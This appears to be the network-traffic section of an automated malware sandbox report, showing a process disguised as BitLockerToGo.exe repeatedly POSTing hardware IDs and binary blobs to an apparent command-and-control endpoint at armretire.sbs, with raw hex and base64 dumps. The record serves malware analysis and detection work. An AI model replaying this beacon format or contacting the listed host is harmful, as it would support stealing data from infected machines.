aJqd1kKVdkSzAlbWgIwbHZorijJYgyfid+tWzsJAxE+Yrjmi8iRCAfeQ9MXE/lip2x/LxmjDExcDb5IaArGwKoxsyELyBJZAw+EwpaRqDT2bH/vGOKMj95Nrxn5C0FRPOJ7ZYlIUsoHXoLS1FB74Cc/bj6Ypd+Zj8Punn3PA8C78jw0yMiD3xTcRhAV0TlhJy++b1oiTI0dja/YOk+AE7+geefKiNFJx4wRApaUqDT2ZHxt0uEMjk/Ifd2oCsPA
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 54 45 69 6c 66 4e 42 41 79 4f 31 78 65 58 4f 75 47 6c 66 33 70 39 48 7a 50 4f 54 49 2f 5a 76 6c 70 37 79 55 41 54 66 47 50 35 5a 34 68 4a 30 6f 6c 46 58 51 41 51 46 31 4d 35 6f 71 63 74 2f 57 37 62 34 59 35 4e 6e 67 39 71 79 2b 75 62 41 52 61 73 4e 36 70 75 69 4d 38 51 54 52 54 62 30 52 54 48 55 33 73 79 38 48 39 38 72 42 71 69 7a 6b 79 65 54 75 2f 59 75 45 6a 41 6b 4c 2f 67 75 4b 61 49 69 39 43 49 52 35 30 47 45 42 57 52 65 79 43 6c 62 43 32 39 43 57 49 4a 6e 34 6e 66 6f 68 69 37 69 49 45 56 4c 43 5a 70 34 70 6b 4b 55 4e 6b 53 7a 41 4c 52 6c 4a 4a 37 34 69 61 76 50 79 6f 64 34 4d 33 4e 6e 6f 79 73 6d 48 6d 50 67 56 4e 2b 59 58 71 6d 69 4d 6d 51 79 34 51 64 30 6f 45 48 55 33 34 79 38 48 39 31 61 31 31 67 6e 34 68 4d 53 66 35 61 4f 78 73 57 77 4c 34 69 2b Data Ascii: TEilfNBAyO1xeXOuGlf3p9HzPOTI/Zvlp7yUATfGP5Z4hJ0olFXQAQF1M5oqct/W7b4Y5Nng9qy+ubARasN6puiM8QTRTb0RTHU3sy8H98rBqizkyeTu/YuEjAkL/guKaIi9CIR50GEBWReyClbC29CWIJn4nfohi7iIEVLCZp4pkKUNkSzALRlJJ74iavPyod4M3NnoysmHmPgVN+YXqmiMmQy4Qd0oEHU34y8H91a11gn4hMSf5aOxsWwL4i+
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 51 79 38 55 63 77 56 4f 56 45 54 70 68 4e 6e 7a 74 72 31 39 7a 32 5a 2b 58 69 57 36 59 2b 31 73 48 41 7a 70 78 75 36 66 5a 48 59 50 4b 42 31 31 43 6b 42 62 54 75 57 4e 6b 37 6a 32 73 57 61 41 4f 6a 68 37 4d 62 6c 6b 36 53 30 46 52 2f 71 4e 37 35 34 6e 4b 45 6c 6b 58 54 41 4e 55 68 30 53 6f 4b 75 43 73 50 71 39 4a 5a 42 77 4a 7a 38 35 74 53 2b 34 62 41 68 4f 39 49 48 70 6e 69 63 6d 53 69 41 5a 64 51 70 43 54 30 4c 67 6a 49 75 76 39 72 4e 67 67 7a 30 2b 65 7a 69 77 61 65 4d 6f 51 77 79 77 67 66 48 54 66 47 35 69 4b 42 52 5a 44 56 45 64 56 61 36 53 32 62 72 36 2b 6a 33 50 50 7a 56 31 4d 62 52 73 35 69 38 49 52 2f 71 48 37 70 73 70 50 45 77 72 48 48 51 4b 52 56 74 4d 34 59 53 66 75 76 2b 37 62 59 68 2b 63 44 38 35 6f 53 2b 34 62 43 31 46 38 34 4b 70 6a 47 6f Data Ascii: Qy8UcwVOVETphNnztr19z2Z+XiW6Y+1sHAzpxu6fZHYPKB11CkBbTuWNk7j2sWaAOjh7Mblk6S0FR/qN754nKElkXTANUh0SoKuCsPq9JZBwJz85tS+4bAhO9IHpnicmSiAZdQpCT0LgjIuv9rNggz0+eziwaeMoQwywgfHTfG5iKBRZDVEdVa6S2br6+j3PPzV1MbRs5i8IR/qH7pspPEwrHHQKRVtM4YSfuv+7bYh+cD85oS+4bC1F84KpjGo
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 58 63 63 57 78 42 74 2b 6f 61 66 71 75 66 36 4b 38 38 34 66 69 64 75 39 79 2f 6b 50 55 4d 61 6f 4e 53 79 78 6e 64 35 48 33 59 4d 50 68 4d 4b 53 77 71 34 32 64 66 39 35 50 6f 39 7a 33 6b 39 62 53 79 2f 62 50 59 76 52 48 7a 4f 71 4f 36 56 49 53 6c 66 5a 6a 31 37 48 6b 30 64 42 4b 43 45 32 65 58 50 2b 69 33 50 41 58 41 2f 4a 76 6b 33 6f 42 6b 41 54 50 36 42 2f 34 4a 70 41 45 67 69 46 6e 63 61 43 48 4e 42 39 49 7a 5a 38 37 61 38 4a 64 64 75 63 44 38 36 71 43 2b 34 66 46 45 5a 70 64 57 2b 77 33 59 78 41 54 31 54 5a 6b 6f 53 44 77 53 67 6d 64 6e 6c 74 76 31 6d 6e 53 77 34 66 43 69 36 4b 4e 34 53 41 46 54 39 69 65 4b 53 47 68 42 68 4b 52 4a 7a 42 41 68 73 58 4f 32 62 6d 72 6a 78 68 46 75 42 4f 53 70 34 4d 4c 39 76 6f 47 4a 44 54 62 44 65 30 4e 4e 73 62 6e 42 71 Data Ascii: XccWxBt+oafquf6K884fidu9y/kPUMaoNSyxnd5H3YMPhMKSwq42df95Po9z3k9bSy/bPYvRHzOqO6VISlfZj17Hk0dBKCE2eXP+i3PAXA/Jvk3oBkATP6B/4JpAEgiFncaCHNB9IzZ87a8JdducD86qC+4fFEZpdW+w3YxAT1TZkoSDwSgmdnltv1mnSw4fCi6KN4SAFT9ieKSGhBhKRJzBAhsXO2bmrjxhFuBOSp4ML9voGJDTbDe0NNsbnBq
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 45 49 47 62 66 62 79 36 4b 34 6f 79 57 5a 66 6d 59 74 63 50 6c 39 6f 48 52 44 42 66 4f 55 2b 35 55 6e 4f 45 78 6a 4c 55 34 74 52 46 70 4c 39 70 75 55 73 64 65 35 64 49 55 41 41 47 6f 39 74 32 48 6e 4f 68 49 43 76 73 62 6d 30 33 77 58 44 32 78 54 54 30 51 4b 52 51 71 34 79 36 79 2b 2b 4c 52 69 6d 53 39 7a 57 44 43 2b 62 76 59 38 44 6b 37 52 68 66 69 5a 5a 47 41 50 49 6c 4d 6f 57 41 51 64 54 76 48 4c 77 65 32 6b 34 54 44 63 61 57 34 74 49 66 64 32 6f 44 70 44 47 71 4c 49 71 59 46 6b 64 67 39 6a 45 47 49 59 54 46 35 63 34 38 79 6e 67 39 4f 74 5a 70 38 34 50 55 45 41 6b 6d 50 6d 4b 78 6c 46 39 71 44 4a 30 32 70 75 51 47 52 4c 53 55 6f 43 48 58 57 75 79 34 48 39 72 76 70 51 6a 44 41 77 65 43 69 6f 49 73 55 37 41 46 4c 32 68 61 6e 64 5a 43 67 50 66 45 4d 2b 53 Data Ascii: EIGbfby6K4oyWZfmYtcPl9oHRDBfOU+5UnOExjLU4tRFpL9puUsde5dIUAAGo9t2HnOhICvsbm03wXD2xTT0QKRQq4y6y++LRimS9zWDC+bvY8Dk7RhfiZZGAPIlMoWAQdTvHLwe2k4TDcaW4tIfd2oDpDGqLIqYFkdg9jEGIYTF5c48yng9OtZp84PUEAkmPmKxlF9qDJ02puQGRLSUoCHXWuy4H9rvpQjDAweCioIsU7AFL2handZCgPfEM+S
2024-10-24 12:51:25 UTC	1369	IN	Data Raw: 67 30 39 6e 36 2b 4c 64 6b 6a 44 41 39 62 53 79 2f 62 50 59 76 52 48 7a 4f 71 65 4b 53 4e 43 4e 65 4b 52 64 6d 4e 48 52 36 54 4f 57 4d 70 34 50 42 71 32 4b 66 66 42 68 38 4b 4c 6f 76 72 6d 77 62 41 71 6a 47 7a 70 55 68 4b 51 39 71 55 33 52 4b 45 68 31 6c 36 34 71 4a 73 4f 65 33 59 5a 6c 38 47 58 6b 37 76 69 2b 75 62 41 38 43 71 4d 62 6d 67 69 4d 6f 53 69 4e 66 64 78 42 4e 48 51 53 67 68 64 6e 6c 74 72 56 30 69 44 67 37 65 48 4b 2f 59 65 35 73 48 41 7a 70 78 76 2f 54 66 48 30 42 5a 41 45 77 55 67 6f 61 52 4f 32 4b 6d 72 50 31 71 48 65 4a 50 53 68 38 65 59 64 52 77 44 77 41 56 76 65 33 35 4a 63 79 4f 30 77 30 46 45 34 30 61 6b 31 4a 39 49 7a 57 6e 65 61 33 63 4a 34 35 4c 6b 45 41 6a 6e 37 6e 50 45 46 6b 38 35 44 71 30 32 70 75 56 32 52 4c 4d 43 70 61 58 6c Data Ascii: g09n6+LdkjDA9bSy/bPYvRHzOqeKSNCNeKRdmNHR6TOWMp4PBq2KffBh8KLovrmwbAqjGzpUhKQ9qU3RKEh1l64qJsOe3YZl8GXk7vi+ubA8CqMbmgiMoSiNfdxBNHQSghdnltrV0iDg7eHK/Ye5sHAzpxv/TfH0BZAEwUgoaRO2KmrP1qHeJPSh8eYdRwDwAVve35JcyO0w0FE40ak1J9IzWnea3cJ45LkEAjn7nPEFk85Dq02puV2RLMCpaXl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:26 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18161 Host: armretire.sbs
2024-10-24 12:51:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:26 UTC	2830	OUT	Data Raw: 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?
2024-10-24 12:51:26 UTC	1007	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r5p4jepoam4vvm49ohoddvt91o; expires=Mon, 17 Feb 2025 06:38:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iqYY7zlDaGi9c2YZbqFXhmK2%2BuMC2t88jZq0bKtVozbCibuIDRIUXXG7AnSOsM5CTvTGEoXb7BLEkbgXj5Ca%2FRhbt%2BExOP7Ggm73sFOqalyZCHHDXjixSG2kj3RarXzH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a19299fad0072-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1310&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=19120&delivery_rate=2081955&cwnd=251&unsent_bytes=0&cid=64584c5fddc9e110&ts=552&x=0"
2024-10-24 12:51:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:27 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8782 Host: armretire.sbs
2024-10-24 12:51:27 UTC	8782	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:27 UTC	1003	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1t8splkgkdc2fjm0ldgvk9u0f3; expires=Mon, 17 Feb 2025 06:38:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sNU132kuEl5qPdOFMw09DB9MbtYiNTWplkWvhNRRGnZasj55T0XGqqISejQ6HIIfN6rUk8M6%2Fa6S%2BANZp3reSj0RV7i6KD4G5gxtFk7Seu2rNaanUdR93TUFjNU2hyjE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a1930bf744740-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1861&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9718&delivery_rate=1501296&cwnd=237&unsent_bytes=0&cid=eb6ebd2782238667&ts=546&x=0"
2024-10-24 12:51:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: armretire.sbs
2024-10-24 12:51:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:28 UTC	5104	OUT	Data Raw: 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-10-24 12:51:29 UTC	1003	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6eluv9gb4ralub66eplhqom1rt; expires=Mon, 17 Feb 2025 06:38:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=220lKpdGVDqCC6BxjD%2Fbh87VRQfPX3rGBN5YcNS5f3bVwiz6E1cYm7X1Lqnc1ADxAUqRs1wJ1mvVmun1cNmLwYdkUAlaG8uukhfS00HixnovZ0tsbAinU2JVskqt2Fzf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a1938fa606c76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21394&delivery_rate=2611361&cwnd=251&unsent_bytes=0&cid=477e4dad1c4c0a4e&ts=680&x=0"
2024-10-24 12:51:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3802 Host: armretire.sbs
2024-10-24 12:51:30 UTC	3802	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:31 UTC	1008	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tqvhh9i7qtcbegc662s39mure9; expires=Mon, 17 Feb 2025 06:38:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6KxEeQCHMRyhFEMcQ8wcAbxbQSRBOPiP9C8Ny3REFYjR2raD925CQ5uS%2BCLc%2BJYK91E7IDERtxGQla%2FXQtuyKyTHR092jKY%2BQqzN%2FqOVofDye0ARh6b5aNvQ3xZrrs1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a19443fac0b82-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1371&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=4716&delivery_rate=2083453&cwnd=251&unsent_bytes=0&cid=36375f07200eda50&ts=528&x=0"
2024-10-24 12:51:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:31 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3818 Host: armretire.sbs
2024-10-24 12:51:31 UTC	3818	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:32 UTC	1001	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ps9mp16e5djrho4ft8h2qv4i8; expires=Mon, 17 Feb 2025 06:38:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y5k5lRgjGGkYSMzBuBmmpe8S8kfBK6RX3%2F9aUApMtJ5c1CZHazmqWGbLtNo43g3jnz1FZPcoYWliGONtVpP3QwUGlLJhOd0VoEaFf5AtQThbHAmZ4i80juyav8ZFiBlk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a194bac343ac6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1315&sent=6&recv=11&lost=0&retrans=0&sent_bytes=2831&recv_bytes=4732&delivery_rate=2162808&cwnd=251&unsent_bytes=0&cid=43d16d62e1a459a6&ts=513&x=0"
